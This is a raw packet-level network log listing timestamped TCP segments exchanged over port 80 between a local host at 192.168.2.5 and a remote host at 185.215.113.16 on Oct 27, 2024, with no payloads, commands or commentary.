Oct 27, 2024 20:15:32.690660000 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.690666914 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.690694094 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.693505049 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.693522930 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.693540096 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.693541050 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.693566084 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.693582058 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.693583012 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.693598986 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.693615913 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.693622112 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.693630934 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.693646908 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.693655968 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.693661928 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.693679094 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.693689108 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.693711996 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.710280895 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.715622902 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.715652943 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.715668917 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.715683937 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.715689898 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.715702057 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.715720892 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.715730906 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.715735912 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.715753078 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.715764999 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.715768099 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.715790987 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.715807915 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.715841055 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.715854883 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.715871096 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.715893984 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.715909958 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.715914965 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.715924978 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.715939999 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.715955973 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.715971947 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.715974092 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.715989113 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.716003895 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.716008902 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.716029882 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.716044903 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.716048002 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.716061115 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.716077089 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.716094017 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.716095924 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.716169119 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.716183901 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.716192961 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.716198921 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.716214895 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.716231108 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.716234922 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.716245890 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.716259956 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.716274023 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.716274977 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.716289997 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.716295004 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.716317892 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.716332912 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.716341019 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.716348886 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.716372967 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.716377020 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.716388941 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.716403961 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.716412067 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.716418982 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.716438055 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.716448069 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.716484070 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.716506958 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.716522932 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.716537952 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.716552973 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.716562986 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.716567993 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.716583967 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.716598988 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.716598988 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.716614008 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.716624975 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.716629982 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.716653109 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.716655016 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.716674089 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.716689110 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.716706038 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.716717958 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.716720104 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.716737032 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.716746092 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.716753006 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.716768026 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.716778994 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.716783047 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.716799021 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.716799974 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.716814041 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.716820955 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.716830015 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.716845036 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.716855049 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.716978073 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.717152119 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.717175007 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.717190027 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.717215061 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.717230082 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.717245102 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.717247963 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.717261076 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.717277050 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.717283010 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.717293024 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.717307091 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.717308998 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.717322111 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.717336893 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.717351913 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.717365980 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.717370033 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.717381954 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.717395067 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.717396975 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.717413902 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.717417002 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.717430115 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.717444897 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.717449903 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.717459917 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.717475891 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.717489958 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.717494011 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.717505932 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.717520952 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.717525959 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.717536926 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.717550993 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.717566013 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.717567921 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.717581034 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.717597961 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.717602015 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.717617989 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.717633009 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.717637062 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.717648029 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.717663050 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.717674971 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.717678070 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.717694044 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.717704058 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.717709064 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.717716932 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.717724085 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.717740059 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.717751026 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.717755079 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.717768908 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.717784882 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.717784882 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.717799902 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.717803001 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.717816114 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.717832088 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.717845917 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.717854977 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.717868090 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.717888117 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.717907906 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.732352018 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.732371092 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.732387066 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.732403994 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.732420921 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.732431889 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.732436895 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.732465029 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.732480049 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.732481956 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.732496023 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.732511044 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.732527018 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.732539892 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.732547045 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.732563019 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.732569933 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.732588053 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.732597113 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.732604027 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.732623100 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.732639074 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.732639074 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.732655048 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.732670069 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.732671976 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.732685089 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.732691050 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.732701063 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.732716084 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.732728004 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.732731104 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.732745886 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.732762098 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.732763052 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.732778072 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.732781887 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.732817888 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.735171080 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.760166883 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.760221004 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.760236025 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.760251999 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.760268927 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.760284901 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.760288954 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.760302067 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.760314941 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.760330915 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.760337114 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.760345936 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.760361910 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.760364056 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.760386944 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.782258987 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.782274961 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.782291889 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.782305956 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.782305002 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.782321930 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.782329082 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.782337904 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.782352924 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.782380104 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.782402039 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.782457113 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.782491922 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.782522917 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.782531023 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.782602072 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.782615900 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.782632113 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.782638073 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.782671928 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.782690048 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.782702923 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.782716990 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.782732010 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.782742023 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.782747030 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.782764912 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.782782078 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.782805920 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.782823086 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.782860041 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.782897949 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.782927990 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.782942057 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.782958031 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.782975912 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.785175085 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.785221100 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.785243034 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.785258055 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.785309076 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.785312891 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.785329103 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.785346985 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.785363913 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.785448074 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.785460949 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.785475969 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.785500050 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.785515070 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.785530090 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.785532951 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.785546064 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.785567045 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.785589933 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.785645962 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.785661936 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.785676003 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.785696983 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.793364048 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.793431997 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.793447018 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.793447971 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.793493986 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.793865919 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.793884993 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.793900013 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.793916941 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.793932915 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.793961048 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.794296980 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.794312000 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.794334888 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.794349909 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.794363976 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.794378996 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.794379950 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.794394016 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.794408083 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.794415951 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.794424057 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.794439077 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.794440985 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.794455051 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.794469118 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.794485092 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.794492960 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.794498920 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.794514894 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.794524908 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.794528961 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.794543982 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.794554949 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.794576883 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.794739008 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.794754982 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.794770002 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.794776917 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.794785023 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.794800043 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.794811010 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.794816017 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.794843912 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.833312035 CET	80	49719	185.215.113.16	192.168.2.5
